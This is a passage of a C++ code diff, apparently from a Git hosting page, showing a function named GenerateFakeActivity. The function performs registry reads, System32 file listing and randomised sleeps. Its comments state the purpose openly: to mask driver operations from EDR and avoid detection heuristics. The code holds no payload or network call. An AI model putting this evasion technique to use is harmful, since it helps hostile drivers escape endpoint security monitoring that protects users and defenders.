* @note Registry access to common Windows version key (normal behavior)
|
||||
* @note File enumeration in System32 directory (typical for system tools)
|
||||
* @note Random delays vary timing patterns to avoid detection heuristics
|
||||
* @note All operations are legitimate Windows API calls
|
||||
*/
|
||||
// Generates benign system activity to mask driver operations from EDR
|
||||
void GenerateFakeActivity() noexcept
|
||||
{
|
||||
// Registry access to common Windows version key (normal behavior)
|
||||
HKEY hKey;
|
||||
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
|
||||
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
|
||||
@@ -466,7 +219,6 @@ void GenerateFakeActivity() noexcept
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
// File enumeration in System32 directory (typical for system tools)
|
||||
wchar_t systemDir[MAX_PATH];
|
||||
if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) {
|
||||
WIN32_FIND_DATAW findData;
|
||||
@@ -478,6 +230,5 @@ void GenerateFakeActivity() noexcept
|
||||
}
|
||||
}
|
||||
|
||||
// Random delay to vary timing patterns (anti-detection measure)
|
||||
Sleep(50 + (GetTickCount() % 100));
|
||||
}
|
||||
Reference in New Issue
Block a user